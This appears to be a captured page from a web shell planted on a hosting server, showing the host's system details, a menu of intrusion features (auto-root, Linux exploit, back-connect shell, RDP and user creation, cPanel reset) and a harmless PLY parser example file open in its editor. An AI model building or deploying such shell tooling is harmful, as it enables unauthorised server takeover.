Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.144.249.63
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-ply-3.4 /
example /
yply /
[ HOME SHELL ]
Name
Size
Permission
Action
README
1.5
KB
-rw-r--r--
ylex.py
2.15
KB
-rw-r--r--
yparse.py
4.75
KB
-rw-r--r--
yply.py
1.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : yparse.py
# parser for Unix yacc-based grammars # # Author: David Beazley (dave@dabeaz.com) # Date : October 2, 2006 import ylex tokens = ylex.tokens from ply import * tokenlist = [] preclist = [] emit_code = 1 def p_yacc(p): '''yacc : defsection rulesection''' def p_defsection(p): '''defsection : definitions SECTION | SECTION''' p.lexer.lastsection = 1 print "tokens = ", repr(tokenlist) print print "precedence = ", repr(preclist) print print "# -------------- RULES ----------------" print def p_rulesection(p): '''rulesection : rules SECTION''' print "# -------------- RULES END ----------------" print_code(p[2],0) def p_definitions(p): '''definitions : definitions definition | definition''' def p_definition_literal(p): '''definition : LITERAL''' print_code(p[1],0) def p_definition_start(p): '''definition : START ID''' print "start = '%s'" % p[2] def p_definition_token(p): '''definition : toktype opttype idlist optsemi ''' for i in p[3]: if i[0] not in "'\"": tokenlist.append(i) if p[1] == '%left': preclist.append(('left',) + tuple(p[3])) elif p[1] == '%right': preclist.append(('right',) + tuple(p[3])) elif p[1] == '%nonassoc': preclist.append(('nonassoc',)+ tuple(p[3])) def p_toktype(p): '''toktype : TOKEN | LEFT | RIGHT | NONASSOC''' p[0] = p[1] def p_opttype(p): '''opttype : '<' ID '>' | empty''' def p_idlist(p): '''idlist : idlist optcomma tokenid | tokenid''' if len(p) == 2: p[0] = [p[1]] else: p[0] = p[1] p[1].append(p[3]) def p_tokenid(p): '''tokenid : ID | ID NUMBER | QLITERAL | QLITERAL NUMBER''' p[0] = p[1] def p_optsemi(p): '''optsemi : ';' | empty''' def p_optcomma(p): '''optcomma : ',' | empty''' def p_definition_type(p): '''definition : TYPE '<' ID '>' namelist optsemi''' # type declarations are ignored def p_namelist(p): '''namelist : namelist optcomma ID | ID''' def p_definition_union(p): '''definition : UNION CODE optsemi''' # Union declarations are ignored def p_rules(p): '''rules : rules rule | rule''' if len(p) == 2: rule = p[1] else: rule = p[2] # Print out a Python equivalent of this rule embedded = [ ] # Embedded actions (a mess) embed_count = 0 rulename = rule[0] rulecount = 1 for r in rule[1]: # r contains one of the rule possibilities print "def p_%s_%d(p):" % (rulename,rulecount) prod = [] prodcode = "" for i in range(len(r)): item = r[i] if item[0] == '{': # A code block if i == len(r) - 1: prodcode = item break else: # an embedded action embed_name = "_embed%d_%s" % (embed_count,rulename) prod.append(embed_name) embedded.append((embed_name,item)) embed_count += 1 else: prod.append(item) print " '''%s : %s'''" % (rulename, " ".join(prod)) # Emit code print_code(prodcode,4) print rulecount += 1 for e,code in embedded: print "def p_%s(p):" % e print " '''%s : '''" % e print_code(code,4) print def p_rule(p): '''rule : ID ':' rulelist ';' ''' p[0] = (p[1],[p[3]]) def p_rule2(p): '''rule : ID ':' rulelist morerules ';' ''' p[4].insert(0,p[3]) p[0] = (p[1],p[4]) def p_rule_empty(p): '''rule : ID ':' ';' ''' p[0] = (p[1],[[]]) def p_rule_empty2(p): '''rule : ID ':' morerules ';' ''' p[3].insert(0,[]) p[0] = (p[1],p[3]) def p_morerules(p): '''morerules : morerules '|' rulelist | '|' rulelist | '|' ''' if len(p) == 2: p[0] = [[]] elif len(p) == 3: p[0] = [p[2]] else: p[0] = p[1] p[0].append(p[3]) # print "morerules", len(p), p[0] def p_rulelist(p): '''rulelist : rulelist ruleitem | ruleitem''' if len(p) == 2: p[0] = [p[1]] else: p[0] = p[1] p[1].append(p[2]) def p_ruleitem(p): '''ruleitem : ID | QLITERAL | CODE | PREC''' p[0] = p[1] def p_empty(p): '''empty : ''' def p_error(p): pass yacc.yacc(debug=0) def print_code(code,indent): if not emit_code: return codelines = code.splitlines() for c in codelines: print "%s# %s" % (" "*indent,c)
Close